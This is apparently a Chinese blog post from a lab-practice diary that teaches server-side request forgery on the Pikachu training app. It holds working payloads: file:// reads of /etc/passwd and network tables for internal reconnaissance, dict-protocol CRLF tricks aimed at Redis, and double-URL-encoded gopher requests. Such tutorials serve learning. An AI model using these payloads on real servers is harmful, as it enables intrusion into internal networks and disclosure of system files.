banner
Hi my new friend!

pikachu_ssrf

Scroll down

ssrf

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

翻译翻译就是通过服务端打内网就是ssrf

伪协议思路

在不同的服务中支持的伪协议类型是不一样的

在PHP中支持的伪协议

1
>file dict sftp ldap tftp gopher

在JAVA中支持的伪协议

1
>file ftp mailto http https jar netdoc

file

如果是linux服务器,并且可能存在ssrf漏洞,就可以尝试开始内网横向

1
2
3
4
file:///etc/passwd  尝试读取文件passwd
file:///etc/hosts 显示当前操作系统网卡IP
file:///proc/net/arp 显示arp缓存表,寻找内网其他主机
file:///proc/net/fib_trie 显示当前网段路由信息

可以使用burp去使用http协议去访问内网的其他主机,基于部分的arp表,建立80通信以前一定会先尝试使用arp去获取内网地址,从而达成记录arp信息的操作

需要注意的是,可能内网设置了防火墙限制,可能限制了arp协议,会导致记录的所有mac地址都是网关的mac地址

dict

dict协议是用来提供字典查询服务的,默认端口 2628

dict协议比较灵活允许自定义IP和端口和CRLF注入(换行符之类)

dict协议比较小众,容易在设置黑名单的过滤中绕过

  1. 服务器配置
    • 应用层过滤:若服务端未对目标IP进行内网限制,或过滤逻辑不严谨(如仅检查http协议),dict协议可能绕过限制。
    • 网络层限制:即使应用允许请求,服务器的防火墙或出站规则可能阻止对外部特定端口(如非标准端口)的连接。
  2. 协议兼容性
    • dict协议基于TCP,若目标服务(如HTTP、Redis)运行在TCP端口且未验证协议格式,可能返回banner信息或执行命令(需构造有效载荷)。
    • 例如,连接到Redis的6379端口并发送命令可能触发漏洞,但需通过CRLF注入等方式适配目标协议。
  3. 响应处理
    • 即使连接成功,服务端对dict响应的处理方式可能影响信息泄露效果(如解析HTTP响应为字典数据)。

sftp

SFTP要求客户端用户必须由服务器进行身份验证,

并且数据传输必须通过安全通道(SSH)进行,即不传输明文密码或文件数据。

SSH协议的一部分,是一种远程登录信息

gopher协议 很重要的伪协议

重要与可以提交POST请求,可以用来替代http伪协议无法处理的事情

gopher默认端口为70, 进行ssrf渗透测试的时候注意修改端口为80或者对应端口

gopher转发默认不发送一个字符(会被吃掉)

GET

注意端口号和填充值

  1. 直接发送数据

    1
    curl gopher://127.0.0.1/nihoaxiaozhu

    监听端会在70端口收到ihaoxiaozhu,第一个会被吞掉,需要对方收到完整的东西需要发送

    1
    curl gopher://127.0.0.1/_nihoaxiaozhu
  2. 使用ssrf

    具有ssrf漏洞的页面发送

    复制这个头, 保留GETHost的信息,注意一定要留着一个换行,然后对以下进行url编码, 注意必须连同换行一块编码

    1
    2
    3
    GET / HTTP/1.1
    Host: tryoneclick.art:35565

    1
    GET%20/%20HTTP/1.1%0D%0AHost:%20tryoneclick.art:35565%0D%0A

    但是拼接上去的时候需要在前面加个_,用来被吞掉

    gopher://targetip:80/_GET%20/%20HTTP/1.1%0D%0AHost:%20tryoneclick.art:35565%0D%0A
    

如果是存在ssrf漏洞的页面是通过POST来进行渗透的,也可以在burp中编辑gopher信息

需要注意的是,这个是在浏览器中填写的,如果是在burpsuite中抓包得到的, 需要对这个url信息进行再次的url编码(总共对这个头信息编码两次)

也就是发送的对上述的gopher://targetip:80/_后面的内容进行再一次url编码

1
gopher%3A%2F%2Ftargetip%3A80%2F%5FGET%2520%2F%2520HTTP%2F1%2E1%250D%250AHost%3A%2520tryoneclick%2Eart%3A35565%250D%250A

​ 两次url编码这是由于发送到ssrf服务器的时候会做一次解码,ssrf发送到目标内网服务器的时候会在做一次解码

POST

其他文章
cover
burplab_ssrf
  • 25/03/13
  • 00:00
  • 打靶日记
cover
pikachu_文件包含
  • 25/03/11
  • 00:00
  • 打靶日记
目录导航 置顶
  1. 1. ssrf
    1. 1.1. 伪协议思路
      1. 1.1.1. file
      2. 1.1.2. dict
      3. 1.1.3. sftp
    2. 1.2. gopher协议 很重要的伪协议
      1. 1.2.1. GET
      2. 1.2.2. POST
请输入关键词进行搜索